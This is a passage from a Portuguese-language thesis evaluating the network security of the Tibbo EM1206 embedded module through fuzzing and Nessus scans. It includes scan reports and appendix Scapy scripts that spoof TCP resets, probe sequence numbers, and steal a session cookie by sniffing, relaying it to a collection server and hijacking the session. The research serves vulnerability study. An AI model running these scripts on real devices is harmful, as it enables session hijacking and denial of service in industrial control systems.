depois de cessados os ataques, sendo necessário reiniciá-lo manualmente. Também foi
demonstrado que é simples a execução deste ataque.
Um detalhe sobre este teste é que, visto que o flooding é um ataque de exaustão
de recursos, é possível que nos testes dos protocolos UDP, TCP e HTTP as ferramentas
utilizadas tenham exaurido os recursos do protocolo IP que está abaixo destes nas camadas
da pilha TCP/IP, e esta exaustão tenha se refletido nas outras camadas.
Por um lado, os recursos em qualquer sistema são finitos, portanto todos os sistemas
são vulneráveis a ataques flooding, quanto mais sistemas embarcados que possuem recursos
limitados. Por outro lado este dispositivo é normalmente utilizado embarcado em circuitos
eletrônicos, o que faz com que na maioria das vezes ele esteja em máquinas fechadas,
onde pode ser impossível desligar e ligar apenas o EM1206, sendo necessário reiniciar o
sistema inteiro. É importante que o administrador de rede leve isto em conta na hora de
implementar o sistema, tomando as precauções necessárias para minimizar este tipo de
ataque.
A segunda vulnerabilidade grave detectada foi a de Reset Spoofing, descrita na seção

4.6.3. Através dela é possível encerrar conexões TCP legítimas, causar significativos
atrasos na comunicação ou até mesmo causar negação de serviço do EM1206. Este bug
pode causar falhas em sistemas dedicados que dependem da velocidade e da qualidade
dos dados que chegam. Além disso, esta vulnerabilidade é de fácil reprodução, sendo
necessário apenas o envio de um pacote TCP com a flag RST ativa e com o endereço IP
forjado, sem precisar preocupar-se com os outros parâmetros do cabeçalho TCP.
A proxima vulnerabilidade é a da aleatoriedade fraca do número inicial de sequência.

Ela é grave pois pode ser utilizada pelo atacante para obter acesso indevido, enviando
dados e comandos que podem causar o mal funcionamento do sistema onde o EM1206 está
inserido. O apêndice da RFC 6528 (GONT, 2012) demonstra como essa vulnerabilidade
pode ser explorada. Além disso, ela é de fácil execução, pois o atacante pode enviar um
simples segmento SYN para uma porta aberta, obter o número de sequência do SYN-ACK
e usar esse mesmo número de sequência em um pacote com o IP alterado, de modo que
este IP seja o mesmo de um host autorizado a utilizar o EM1206.
Outra vulnerabilidade grave encontrada é a da possibilidade do roubo de cookie de

uma conexão, descrita na seção 4.7.3. Este teste mostrou que, interceptando o número do
cookie de uma sessão aberta entre o EM1206 e um host, é possível obter o mesmo nível de
acesso que um usuário autenticado, inclusive sendo possível utilizá-lo para obter a senha
do EM1206, assim como qualquer outro dado do módulo. A execução deste teste também
é fácil e foi demonstrada neste trabalho, inclusive sendo disponibilizado um script que
faz isso. A maior dificuldade está em interceptar o tráfego entre o EM1206 e este host
legítimo, sendo que não foi possível demonstrar neste trabalho este cenário.
Por fim foi detectado que a transmissão da senha do conversor serial-Ethernet EM1206
não é criptografada e ocorre em três modos: através da página web (seção 4.7.4.1), através
do serviço “Telnet” (seção 4.7.4.2) e através do software DS Manager (seção 4.7.4.3).
A transmissão sem criptografia pela página web e pelo “Telnet” são vulnerabilidades
graves que possuem o potencial de mostrar todas as configurações do módulo, inclusive a
sua senha, porém dependem da possibilidade de o atacante conseguir interceptar o tráfego
entre o EM1206 e o host que o está acessando no exato momento em que a senha esteja
sendo transmitida, portanto sua execução não é tão fácil.
O uso do DS Manager mostrou-se a mais crítica de todas as vulnerabilidades encon-

tradas. Este software é o primeiro a ser utilizado, pois é através dele que as primeiras
configurações no EM1206 são feitas. Nenhum dos outros recursos do módulo pode fazer
alterações no módulo sem que seu IP esteja configurado de acordo com a rede no qual ele
está inserido, sendo que apenas o DS Manager pode ser utilizado para fazer esta configu-
ração inicial do endereço IP. O problema deste software é que ele envia todos os dados em
broadcast nas camadas de rede e de enlace. Sendo assim, todos os hosts da rede recebem
os dados que passam entre o EM1206 e o DS Manager, inclusive a senha do módulo.
Através de uma simples análise do tráfego da rede é possível obter a senha que concede
privilégios de administrador ao módulo.
68
5 Conclusão
Dispositivos embarcados como conversores serial-Ethernet e microcontroladores são
bastante disseminados em sistemas de controle industrial modernos, especialmente em
sistemas de controle distribuídos e sistemas SCADA. A crescente dependência desse tipo
de sistema para o controle de infraestruturas críticas, como fornecimento de energia,
água e gás, e para o controle dos mais variados tipos de processos industriais torna os
componentes com acesso à rede alvos preferenciais de indivíduos ou organizações que
queiram comprometer o bom funcionamento dessas infraestruturas e processos. Por conta
disso, é importante que esses dispositivos operem de forma correta mesmo quando sujeitos
a ataques. Com isso em mente, o objetivo deste trabalho foi avaliar a segurança contra
ataques de rede de um dispositivo deste tipo, o módulo embarcado EM1206 da Tibbo.
Para o desenvolvimento deste trabalho foi aplicada uma técnica conhecida como In-
jeção de Faltas. A injeção de faltas, que consiste na introdução proposital de faltas em
um sistema sob teste e na observação das respostas fornecidas por esse sistema, é uma
técnica que permite avaliar experimentalmente a robustez do sistema diante de cenários
adversos.
A confiança nos resultados obtidos por injeção de faltas está intrinsecamente ligada ao
uso de uma metodologia que garanta que um amplo espectro de faltas seja aplicado, exer-
citando um conjunto suficiente de funcionalidades do sistema avaliado. Para garantir isso,
foi adotada uma metodologia de testes baseada na proposta de (POTHAMSETTY; BA-
LINSKY, 2003), que tem por foco testar a robustez de implementações da pilha TCP/IP.
No contexto de injeção de faltas, esta metodologia adotada primeiramente propõe

que sejam executados testes fuzzing, visto que através da geração aleatória de dados
de entrada, esta técnica oferece uma cobertura abrangente do universo de possíveis en-
tradas sem exigir a enumeração exaustiva de entradas potencialmente perigosas. Esta
técnica foi executada nos protocolos de rede Ethernet, UDP, TCP, IP e HTTP através
das ferramentas ISIC e BED, porém não foram descobertas vulnerabilidades. Apesar de
nenhuma vulnerabilidade ser encontrada, estas ferramentas causaram um efeito colateral
no EM1206: o fluxo de dados gerado pelas mesmas causou um ataque flooding. Foram
5.1 Sugestão de Trabalhos Futuros 69
gerados relatórios descrevendo estes testes e seus respectivos resultados.
Uma dificuldade encontrada durante o desenvolvimento deste trabalho foi achar mate-
riais sobre testes de vulnerabilidades de rede especificamente em dispositivos embarcados.
Além da metodologia proposta pelos analistas da Cisco Systems, nenhum outro material
do tipo foi encontrado. Para contornar este problema, foi utilizado o scanner de vulnera-
bilidade Nessus. Este encontrou as seguintes vulnerabilidades: Etherleak, Aleatoriedade
fraca do ISN, Reset Spoofing, Autocompletar Senha e Transmissão de Senha Não Cripto-
grafada. Além destas, através da interpretação do tráfego do EM1206 pelos autores deste
trabalho, foi detectada a vulnerabilidade quanto ao Roubo de Cookies.
Para confirmar estas vulnerabilidades, primeiro foi feita a captura dos pacotes de rede
que as indicavam para que estes pudessem ser analisados detalhadamente. Utilizando
estas informações, foram escritos scripts na linguagem Python utilizando a ferramenta
Scapy, para que estas vulnerabilidades pudessem reproduzidas. Todas as vulnerabilidades
descobertas pelo Nessus e descritas no relatório foram reproduzidas com sucesso, sendo
que o código fonte destes scripts está disponível no apêndice.
As vulnerabilidades descritas neste trabalho podem ser utilizadas para falsificar a

identidade de usuários e para revelar informações confidenciais para pessoas não auto-
rizadas, o que pode proporcionar a um potencial atacante a possibilidade de manipular
dados e configurações do EM1206. Além disso, mostrou-se possível causar a negação do
serviço do dispositivo em certas situações. Estes problemas violam todas as propriedades
de segurança propostas por (ISO/IEC, 2008) (confidencialidade, integridade e disponibi-
lidade). Levando em conta que o EM1206 pode estar inserido em sistemas críticos, onde
o mau funcionamento do mesmo pode trazer prejuízos financeiros e riscos a integridade
física de funcionários, pode-se dizer que o nível de segurança do módulo EM1206 é baixo.
Contudo vale ressaltar que, com exceção da vulnerabilidade flooding, o microcontrolador
EM1206 mostrou-se robusto diante dos ataques fuzzing executados neste trabalho, sendo
este um ponto positivo.
5.1 Sugestão de Trabalhos Futuros
Este tipo de análise voltada a dispositivos com poder computacional reduzido, nor-
malmente usados em aplicações dedicadas e específicas, pode ser executada em outros
5.1 Sugestão de Trabalhos Futuros 70
equipamentos do mesmo gênero que possuem comunicação em rede, para que os resulta-
dos possam ser comparados e, a partir destes, novas metodologias de testes sejam criadas.
Alguns exemplos são os outros módulos embarcados fabricados pela Tibbo, o Raspberry
Pi1 e o microcontrolador Arduino2 , que possui comunicação em rede através do uso de
shields específicos.
Outra sugestão é a criação de uma metodologia para ataques fuzzing. A suite de

ferramentas ISIC utilizada neste trabalho aplica fuzzing aleatoriamente nos pacotes de
rede enviados. A criação de uma metodologia quanto ao uso de fuzzing permite que este
tipo de teste possa ser melhor guiado e mais seletivo.
Além destes, poderiam ser criadas métricas para medir o quão robusto é um dispositivo
deste gênero diante de ataques flooding. Estas informações podem ser úteis para que os
responsáveis pela infraestrutura de rede onde estes equipamentos estão inseridos possam
tomar precauções, com o objetivo de minimizar o impacto deste tipo de ataque.
1
http://www.raspberrypi.org/
2
http://www.arduino.cc/
71
A.1 Relatório do Nessus - Etherleak 72
A Apêndice
A.1 Relatório do Nessus - Etherleak
11197 (1) - Multiple Ethernet Driver Frame Padding

Information Disclosure (Etherleak)
Synopsis
The remote host appears to leak memory in network packets.
Description
The remote host uses a network device driver that pads ethernet frames with data which vary from
one packet to another, likely taken from kernel memory, system memory allocated to the device
driver, or a hardware buffer on its network interface card.
Known as 'Etherleak', this information disclosure vulnerability may allow an attacker to collect
sensitive information from the affected host provided he is on the same physical subnet as that host.
See Also
http://www.nessus.org/u?719c90b4
Solution
Contact the network device driver's vendor for a fix.
Risk Factor
Low
CVSS Base Score

3.3 (CVSS2#AV:A/AC:L/Au:N/C:P/I:N/A:N)
CVSS Temporal Score

2.4 (CVSS2#AV:A/AC:L/Au:N/C:P/I:N/A:N)
References
BID 6535
CVE CVE-2003-0001
XREF OSVDB:3873
Plugin Information:
Publication date: 2003/01/14, Modification date: 2011/03/21
A.1 Relatório do Nessus - Etherleak 73
Hosts
192.168.25.5 (icmp/0)
Padding observed in one frame :
0x00: 45 00 02 16 71 F3 40 00 FF 06 54 8E C0 A8 19 05 E...q.@...T.....
0x10: C0 .
Padding observed in another frame :
0x00: 6C 6F 72 3A 23 45 30 44 36 42 38 3B 0D 0A 66 6F lor:#E0D6B8;..fo
0x10: 6E n
A.2 Relatório do Nessus - Número de Sequência Inicial 74
A.2 Relatório do Nessus - Número de Sequência Inicial
11057 (1) - TCP/IP Initial Sequence Number (ISN) Reuse

Weakness
Synopsis
The remote device seems to generate predictable TCP Initial Sequence Numbers.
Description
The remote host seems to generate Initial Sequence Numbers (ISN) in a weak manner which seems
to solely depend on the source and dest port of the TCP packets.
An attacker may exploit this flaw to establish spoofed connections to the remote host.
The Raptor Firewall and Novell NetWare are known to be vulnerable to this flaw, although other
network devices may be vulnerable as well.
See Also
http://archives.neohapsis.com/archives/bugtraq/2002-07/0492.html
http://securityresponse.symantec.com/avcenter/security/Content/2002.08.05.html
Solution
If you are using a Raptor Firewall, install the TCP security hotfix described in Symantec's advisory.
Otherwise, contact your vendor for a patch.
Risk Factor
High
CVSS Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)
CVSS Temporal Score

5.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)
References
BID 5387
BID 8652
CVE CVE-2002-1463
XREF OSVDB:199
A.2 Relatório do Nessus - Número de Sequência Inicial 75
Plugin Information:
Hosts
192.168.25.5 (tcp/0)
A.3 Relatório do Nessus - Reset Spoofing 76
A.3 Relatório do Nessus - Reset Spoofing
12213 (1) - TCP/IP Sequence Prediction Blind Reset Spoofing

DoS
Synopsis
It may be possible to send spoofed RST packets to the remote system.
Description
The remote host might be affected by a sequence number approximation vulnerability that may
allow an attacker to send spoofed RST packets to the remote host and close established connections.
This may cause problems for some dedicated services (BGP, a VPN over TCP, etc).
See Also
https://downloads.avaya.com/elmodocs2/security/ASA-2006-217.htm
http://www.kb.cert.org/vuls/id/JARL-5ZQR4D
http://www-01.ibm.com/support/docview.wss?uid=isg1IY55949
http://www.juniper.net/support/security/alerts/niscc-236929.txt
http://technet.microsoft.com/en-us/security/bulletin/ms05-019
http://technet.microsoft.com/en-us/security/bulletin/ms06-064
http://www.kb.cert.org/vuls/id/JARL-5YGQ9G
http://www.kb.cert.org/vuls/id/JARL-5ZQR7H
http://www.kb.cert.org/vuls/id/JARL-5YGQAJ
http://www.nessus.org/u?9a548ae4
http://isc.sans.edu/diary.html?date=2004-04-20
Solution
Contact the vendor for a patch or mitigation advice.
Risk Factor
Medium
CVSS Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)
CVSS Temporal Score

4.1 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)
A.3 Relatório do Nessus - Reset Spoofing 77
References
BID 10183
CVE CVE-2004-0230
XREF OSVDB:4030
XREF CERT:415294
XREF EDB-ID:276
XREF EDB-ID:291
Plugin Information:
Hosts
192.168.25.5 (tcp/0)
A.4 Relatório do Nessus - Autocompletar Senha 78
A.4 Relatório do Nessus - Autocompletar Senha
42057 (1) - Web Server Allows Password Auto-Completion
Synopsis
Auto-complete is not disabled on password fields.
Description
The remote web server contains at least HTML form field containing an input of type 'password'
where 'autocomplete' is not set to 'off'.
While this does not represent a risk to this web server per se, it does mean that users who use the
affected forms may have their credentials saved in their browsers, which could in turn lead to a loss
of confidentiality if any of them use a shared host or their machine is compromised at some point.
Solution
Add the attribute 'autocomplete=off' to these fields to prevent browsers from caching credentials.
Risk Factor
None
Plugin Information:
Hosts
192.168.25.5 (tcp/80)
Page : /
Destination Page : login.html
Input name : pw
Page : /index.html
Destination Page : login.html
Input name : pw
A.5 Código Fonte - Teste do Gerador de ISN 79
A.5 Código Fonte - Teste do Gerador de ISN
1 from scapy.all import *

2 from random import *
3 from time import *
4
5 portas_abertas = [23, 80, 1001]

6 inicio = time()
7
8 while time() - inicio < 2:

9 syn1 = IP(dst="192.168.25.5") / TCP(sport=randint(1, 65535), dport=
portas_abertas[randint(0, 2)], flags=’S’)
10 syn_ack1 = sr1(syn1)
11 isn1 = syn_ack1[TCP].seq
12 print "Numero de sequencia: " + str(isn1)
A.6 Código Fonte - Reset Spoofing 80
A.6 Código Fonte - Reset Spoofing

2
3 tst = IP(src="192.168.25.2", dst="192.168.25.5")/TCP(sport=30000, dport

=1001, seq=0, ack=0, flags="SR")
4 send(tst)
A.7 Código Fonte - Rouba Cookie, lado cliente 81
A.7 Código Fonte - Rouba Cookie, lado cliente

2 import datetime
3 import sys
4 import socket
5 import time
6
7 def descobre_sessao(pacotes_capturados, ip_tibbo, numero_pacotes):

8 for i in range(0, numero_pacotes):
9 if pacotes_capturados[i][IP].src != ip_tibbo:
10 try:
11 mensagem = str(pacotes_capturados[i][Raw])
12 posicao_inicio_sessao = mensagem.find("session=") + 8
13 posicao_fim_sessao = posicao_inicio_sessao + mensagem[
posicao_inicio_sessao:posicao_inicio_sessao + 10].find(" ")
14 sessao = int(mensagem[posicao_inicio_sessao:posicao_fim_sessao])
15 print "Numero da sessao estabelecida: " + str(sessao)
16 return sessao
17 except:
18 pass
19
20 def envia_dados(ip_servidor, ip_tibbo, sessao):

21 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
22
23 servidor = (ip_servidor, 6789)

24 sock.connect(servidor)
25
26 sock.sendall(ip_tibbo + "|" + str(sessao))

27
28 sock.close()
29
30 def inicia_ataque(ip_servidor, ip_tibbo, numero_pacotes):

31 pacotes_capturados = sniff(filter="port 80 and host " + ip_tibbo, count=
numero_pacotes)
32
A.7 Código Fonte - Rouba Cookie, lado cliente 82
33 sessao = descobre_sessao(pacotes_capturados, ip_tibbo, numero_pacotes)

34
35 envia_dados(ip_servidor, ip_tibbo, sessao)

36
37 inicia_ataque(sys.argv[1], sys.argv[2], int(sys.argv[3]))

A.8 Código Fonte - Rouba Cookie, lado servidor 83
A.8 Código Fonte - Rouba Cookie, lado servidor

2 import datetime
3 import sys
4 import socket
5 import time
6
7 def conecta(ip_tibbo, sessao):

8 syn = IP(dst=ip_tibbo) / TCP(sport=50000, dport=80, flags=’S’)
9 print "\nEnviando SYN..."
10 syn_ack = sr1(syn)
11 print "\nSYN-ACK recebido"
12
13 getStr = ’GET /settings.html?session=’ + sessao + ’ HTTP/1.1\r\nHost: ’ +

ip_tibbo + ’\r\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64;
rv:20.0) Gecko/20100101 Firefox/20.0\r\nAccept: text/html,application
/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,
en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nReferer: http://’ +
ip_tibbo + ’/leftpane.html\r\nConnection: keep-alive\r\n\r\n’
14
15 ack = IP(dst=ip_tibbo) / TCP(dport=80, sport=syn_ack[TCP].dport, seq=

syn_ack[TCP].ack, ack=syn_ack[TCP].seq + 1, flags=’A’) / Raw(getStr)
16 print "\nEnviando ACK..."
17 resposta = sr1(ack)
18 print "\nResposta recebida"
19
20 dados_capturados = open("dados_capturados.html", "w")

21
22 while(True):
23 try:
24 dados_capturados.write(str(resposta[Raw]))
25 if str(resposta[Raw]).find(’</html>’) != -1:
26 dados_capturados.close()
27 print "Dados capturados com sucesso."
28 return
29
30 except:
31 pass
32
33 try:
34 ack = IP(dst=ip_tibbo) / TCP(dport=80, sport=resposta[TCP].dport, seq
=resposta[TCP].ack, ack=resposta[TCP].seq + len(resposta[Raw]),
flags=’A’)
35
36 except:
37 ack = IP(dst=ip_tibbo) / TCP(dport=80, sport=resposta[TCP].dport, seq
=resposta[TCP].ack, ack=resposta[TCP].seq, flags=’A’)
38
39 finally:
40 print "\nEnviando ACK..."
41 resposta = sr1(ack)
42 print "\nResposta recebida"
43
44 def recebe_dados():
45 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
46
47 bind = (’’, 6789)

48 sock.bind(bind)
49
50 sock.listen(1)
51 conexao, ip_cliente = sock.accept()
52
53 dados = conexao.recv(1024)
54 ip_tibbo, sessao = dados.split(’|’)
55
56 conexao.close()
57
58 print "Pausa de 10 segundos..."

59 time.sleep(10)
60 print "...fim da pausa"
61 conecta(ip_tibbo, sessao)
62
63 recebe_dados()
Referências Bibliográficas
ANDERSON, H. Introduction to Nessus. 2003. Disponível em: <http://www-

.securityfocus.com/infocus/1741>.
ANTUNES, J.; NEVES, N.; NEVES, R.; CORREIA, M.; VERÍSSIMO, P. Diagnóstico
de vulnerabilidades através da injeção de ataques. Universidade de Lisboa, Covilhã,
Portugal, 2004.
ARKIN, O. Network scanning techniques. PubliCom, 1999. Disponível em: <http:/-

/exploitworld.pc-freak.net/info/arkin%20network%20scanning%20techniques.pdf>.
ARKIN, O.; ANDERSON, J. Etherleak: Ethernet Frame Padding Information

Leakage. 2003. Disponível em: <http://www.rootsecure.net/content/downloads/pdf-
/atstake\ etherleak\ report.pdf>.
ARLAT, J. et al. Fault Injection for Dependability Validation: A Methodology and

Some Applications. IEEE Transactions on Software Engineering, Institute of Electrical
and Electronics Engineers, v. 16, n. 2, p. 166–182, 1990.
AVIZIENIS, A.; LAPRIE, J.; RANDELL, B.; LANDWEHR, C. Basic Concepts and
Taxonomy of Dependable and Secure Computing. IEEE TDSC, Institute of Electrical
and Electronics Engineers, v. 1, n. 1, p. 11–33, 2004.
BANKS, G. et al. Snooze: toward a stateful network protocol fuzzer. v. 4176, p. 343,
2006. Disponível em: <http://imj.gatech.edu/papers/139.pdf>.
BAUER, J.; EETEN, M. V.; CHATTOPADHYAY, T. ITU study on the financial

aspects of network security: Malware and spam. ICT Applications and Cybersecurity
Division, International Telecommunication Union, Final Report, July, 2008.
BIONDI, P. Scapy. 2007. Disponível em: <http://www.secdev.org/projects/scapy/>.
BRIZZI, B. Qual o tamanho do mercado da Internet no Brasil? Acessado em 17 fev.

2012, 2009. Disponível em: <http://www.mundoseo.com.br/Internet/tamanho-mercado-
Internet-bra>.
REFERÊNCIAS BIBLIOGRÁFICAS 87
BRUDNA, C. Desenvolvimento de sistemas de automação industrial baseados em objetos
distribuídos e no barramento CAN. Dissertação (Mestrado em Engenharia Elétrica) -
Escola de Engenharia, Universidade Federal do Rio Grande do Sul, Rio Grande do Sul,
2000. Disponível em: <www.ufrgs.br/ppgee/tese-eng-0314608.pdf.gz>.
BYKOVA, M.; OSTERMANN, S. Statistical analysis of malformed packets and their

origins in the modern Internet. In: ACM. Proceedings of the 2nd ACM SIGCOMM
Workshop on Internet measurement. 2002. Disponível em: <http://jarok.cs.ohiou.edu-
/papers/mbykova-thesis.pdf>.
CÁRDENAS, A.; AMIN, S.; SASTRY, S. Research challenges for the security of
control systems. In: USENIX ASSOCIATION. Proceedings of the 3rd conference on Hot
topics in security. 2008. p. 6. Disponível em: <http://citeseerx.ist.psu.edu/viewdoc-
/download?doi=10.1.1.145.338&rep=rep1&type=pdf>.
CHAVES, M. Análise de estado de tráfego de redes TCP/IP para aplicação em detecção

de intrusão. São Jose Dos Campos, INPE, Dissertação (Mestrado em Computação
Aplicada) - Instituto Nacional de Pesquisas Espaciais, São Paulo, p. 172, 2002.
CHEN, S.; JIANG, S. Design of embedded network interface controller based on ARM9
and ARMLinux. v. 34, p. 142, 2009.
CLARK, J.; PRADHAN, D. Fault injection: A method for validating computer-system

dependability. IEEE Computer Society, v. 28, n. 6, p. 47–56, 1995.
COMBS, G. About Wireshark. Acessado em 30 out. 2012, s.n.t. Disponível em:

<http://www.wireshark.org/about.html>.
COULOURIS, G.; DOLLIMORE, J.; KINDBERG, T. Distributed systems: concepts and

design. [S.l.]: Addison-Wesley Longman, 2005.
DAMAYE, S. BED. 2012. Disponível em: <http://www.aldeid.com/wiki/Bed>.
DERAISON, R. Raptor Weak ISN. 2002. Disponível em: <http://www.sysf.physto.se-

/˜attila/ATLAS/Digitizer/Testbench/System ISE SoftMAC/linux/software/petalinux-
dist/user/nessus/nessus-plugins/scripts/raptor isn.nasl>.
DROMS, R. RFC 2131: Dynamic Host Configuration Protocol. 1997. Disponível em:
<http://www.ietf.org/rfc/rfc2131.txt>.
FALCO, J. IT security for industrial control systems. 2002. Disponível em: <http:/-
/citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.13.9422&rep=rep1&type=pdf>.
FAUST, S. Web application testing with SPI fuzzer. SPI Dynamics Whitepaper, 2004.
Disponível em: <http://anythingyoutype.rmccurdy.com/scripts/docs/spidynamics-
/SPIFuzzer.pdf>.
FUENTES, R. C. Apostila de automação industrial. Universidade Federal de Santa Maria,

p. 1, 2005. Disponível em: <http://w3.ufsm.br/fuentes/index arquivos/CA03.pdf>.
GATES, C.; MCNUTT, J. J.; KADANE, J. B.; KELLNER, M. I. Scan detection on

very large networks using logistic regression modeling. In: In Proceedings of the IEEE
Symposium on Computers and Communications, Pula-Cagliari. [s.n.], 2006. Disponível
em: <http://web.cs.dal.ca/˜gates/papers/iscc06.pdf>.
GHOSH, A.; O’CONNOR, T.; MCGRAW, G. An Automated Approach For Identifying

Potential Vulnerabilities in Software. In: IEEE SP. [S.l.]: Institute of Electrical and
Electronics Engineers, 1998. p. 104–114.
GONT, F. RFC 6528: Defending against sequence number attacks. 2012. Disponível em:
<http://rsync.tools.ietf.org/html/rfc6528>.
GU, S.; SONG, Y.; ZHAO, X.; LI, W. Fuzzing test data generation based on message
matrix perturbation with keyword reference. In: IEEE. Military Communications
Conference, (MILCOM 2011). [S.l.], 2011.
HABETS, T. Arping. 2003. Disponível em: <http://www.habets.pp.se/synscan/docs-

/arping.8.html>.
HART, D. An Approach to Vulnerability Assessment for Navy Supervisory Control

And Data Acquisition (SCADA) Systems. Storming Media, 2004. ISBN 9781423520283.
Disponível em: <http://books.google.com.br/books?id=Up4aAAAACAAJ>.
HSUEH, M.; TSAI, T.; IYER, R. Fault Injection Techniques and Tools. IEEE Computer
Society, Institute of Electrical and Electronics Engineers, v. 30, n. 4, p. 75–82, 1997.
ISO/IEC, I. L. Iso/iec 27002:2005 information technology – security techniques

– code of practice for information security management. 2008. Disponível em:
<http://www.iso27001security.com/html/27002.html>.
KENNEY, M. Ping of death. Insecure.org, 1996. Disponível em: <http://insecure.org-
/sploits/ping-o-death.html>.
KUROSE, J. F.; ROSS, K. W. Redes de Computadores e a Internet, Uma abordagem

top-down. São Paulo, SP, Brasil: Pearson Education do Brasil, 2006.
LEWIS, R.; LEWIS, R. Modelling Distributed Control Systems Using IEC 61499:
Applying Function Blocks to Distributed Systems. Stevenage, UK, UK: Institution of
Electrical Engineers, 2001. (IEE control engineering series). ISBN 9780852967966.
LU, W.; YU, S. An HTTP flooding detection method based on browser behavior. In:
IEEE. Computational Intelligence and Security, 2006 International Conference on. [S.l.],
2006. v. 2, p. 1151–1154.
LYON, G. F. Remote OS detection. 2009a. Disponível em: <http://nmap.org/book-

/osdetect.html>.
LYON, G. F. Nmap Network Scanning. 2009c. Disponível em: <http://nmap.org/book-

/osdetect-usage.html>.
LYON, G. F. Nmap network scanning. Acessado em 29 out. 2012, s.n.t. Disponível em:
<http://nmap.org/book/man.html>.
M3LT. The LAND attack (IP DoS). 1997. Disponível em: <http://insecure.org/sploits-
/land.ip.DOS.html>.
MAMAKOS, L. et al. RFC 2516: A method for transmitting PPP over Ethernet. 1999.
Disponível em: <http://tools.ietf.org/html/rfc2516>.
MELTON, R.; FLETCHER, T.; EARLEY, M. System protection profile - industrial

control systems. U.S. Department of Commerce, Technology Administration, National
Institute of Standards and Technology, 2004.
MESSER, J. Secrets of network cartography: A comprehensive guide to nmap, Second

Edition, Revision 2, Published by Professor Messer, LLC, 2910 Kerry Forest Parkway,
Tallahassee, Florida 32309. 2008.
NIGRO, B.; DOMINGUES, B. PCS 2038 – conceitos gerais de automação.

Departamento de Engenharia Elétrica, Universidade de São Paulo, São Paulo.
Acessado em 17 fev. 2012, 2010. Disponível em: <http://webcache.googleusercontent-
.com/search?q=cache:88w9V3sbAh4J:moodle.stoa.usp.br/mod/resource/view-
.php%3Fid%3D19327+&cd=2&hl=pt-BR&ct=clnk&client=ubuntu>.
OEHLERT, P. Violating assumptions with fuzzing. Security & Privacy, IEEE, IEEE,
2005. Disponível em: <http://www.ida.liu.se/˜TDDC90/papers/violating05.pdf>.
ONLINE, F. Prejuízo de ataque virtual equivale a R$ 3,3 milhões ao ano para empresas.
Acessado em 27 fev. 2012, 2010. Disponível em: <http://www1.folha.uol.com.br/folha-
/informatica/ult124u700866.shtml>.
PEREIRA, C. Prejuízo com ataque virtual é de US$ mil por empresa. Acessado em 27
fev. 2012, 2010. Disponível em: <http://www.brasileconomico.com.br/noticias/nprint-
/77485.html>.
POSTEL, J. RFC 768: User Datagram Protocol. 1980. Disponível em: <http://www-
.ietf.org/rfc/rfc768.txt>.
POSTEL, J. RFC 792: Internet Control Message Protocol. 1981a. Disponível em:
<http://tools.ietf.org/html/rfc792>.
POSTEL, J. RFC 791: Internet Protocol. 1981b. Disponível em: <http://tools.ietf.org-

/html/rfc791>.
POSTEL, J. RFC 793: Transmission Control Protocol. 1981c. Disponível em:

POSTEL, J. A Standard For The Transmission Of IP Datagrams Over IEEE 802

Networks. 1988. Disponível em: <http://www.ietf.org/rfc/rfc1042.txt>.
POTHAMSETTY, V.; BALINSKY, A. A structured and practical methodology

for security evaluation of a IP based stack (version 0.2). 2003. Disponível em:
<http://www.ciscosystems.com/web/about/security/security services/ciag/documents-
/stack-howto.pdf>.
RALSTON, P.; GRAHAM, J.; HIEB, J. Cyber security risk assessment for SCADA and
DCS networks. ISA transactions, Elsevier, v. 46, n. 4, p. 583–594, 2007.
SALES, R. d. B. C. Implementação do Universal Host Controller Interface (UHCI)

para o Memtest86+. Trabalho de Conclusão de Curso (Engenharia da Computação),
Departamento de Sistemas e Computação, Universidade do Pernanbuco, Pernambuco,
2009.
SIMPSON, W. RFC 1661: The Point-to-Point protocol. 1994. Disponível em:

STEVENS, W. R. TCP/IP Ilustrated: The Protocols. Indianapolis, Indiana, EUA:

Pearson Education, inc., 1994.
STOUFFER, K.; FALCO, J.; SCARFONE, K. Guide to industrial control systems

(ICS) security. NIST Special Publication 800-82, 2007. Disponível em: <http:/-
/industryconsulting.org/pdfFiles/NIST%20Draft-SP800-82.pdf>.
TIBBO. Tibbo Serial-over-IP Solutions: Hardware, Firmware, PC software. 2008f.
TIBBO. Products Home. 2012a. Disponível em: <http://tibbo.com/products/>.
TIBBO. Here Is To The Serial Port. 2012b. Disponível em: <http://tibbo.com/soi/>.
TIBBO. EM203 Ethernet-to-Serial Module. Acessado em 27 fev. 2012, 2012c. Disponível

em: <http://docs.tibbo.com/soism/index.html?em203.htm>.
TIBBO. EM203 Ethernet Module. Acessado em 27 fev. 2012, 2012d. Disponível em:
<http://tibbo.com/products/modules/x20x/em203.html>.
TIBBO. BASIC Programmability. Acessado em 27 fev. 2012, 2012e. Disponível em:

<http://tibbo.com/basic/product/basic.html>.
TIBBO. EM1206 BASIC-programmable Ethernet Module. Acessado em 27 fev. 2012,

2012f. Disponível em: <http://tibbo.com/products/modules/x20x/em1206.html>.
TIBBO. Serial-Over-IP - DS Manager. Acessado em 27 fev. 2012, 2012g. Disponível em:

<http://tibbo.com/soi/tdst/dsm.html>.
TIBBO. Our Very Own Operating System. Acessado em 27 fev. 2012, 2012h. Disponível
em: <http://tibbo.com/basic/product/tios.html?swln=en>.
TIBBO. Telnet TCP Programming. Acessado em 13 mai. 2013, 2013. Disponível em:
<http://docs.tibbo.com/soism/index.html?command telnet.htm>.
WEBER, C. Scapy 3 Way Handshake. 2010. Disponível em: <http://www.packetlevel-

.ch/html/scapy/scapy3way.html>.
WEBER, L. Extending scapy by a gsm air interface. Master’s Thesis - Research Group
Embedded Malware, RUHR-UNIVERSITÄT BOCHUM, 2011. Disponível em: <http:/-
/www.syssec.rub.de/media/emma/arbeiten/2012/11/16/2011-10-04-Weber.pdf>.
XIAO, S.; FRANTZEN, M. ISIC – IP stack integrity checker. Acessado em 29 out. 2012,
s.n.t. Disponível em: <http://isic.sourceforge.net/>.
YATAGAI, T.; ISOHARA, T.; SASASE, I. Detection of HTTP-GET flood attack

based on analysis of page access behavior. In: IEEE. Communications, Computers and
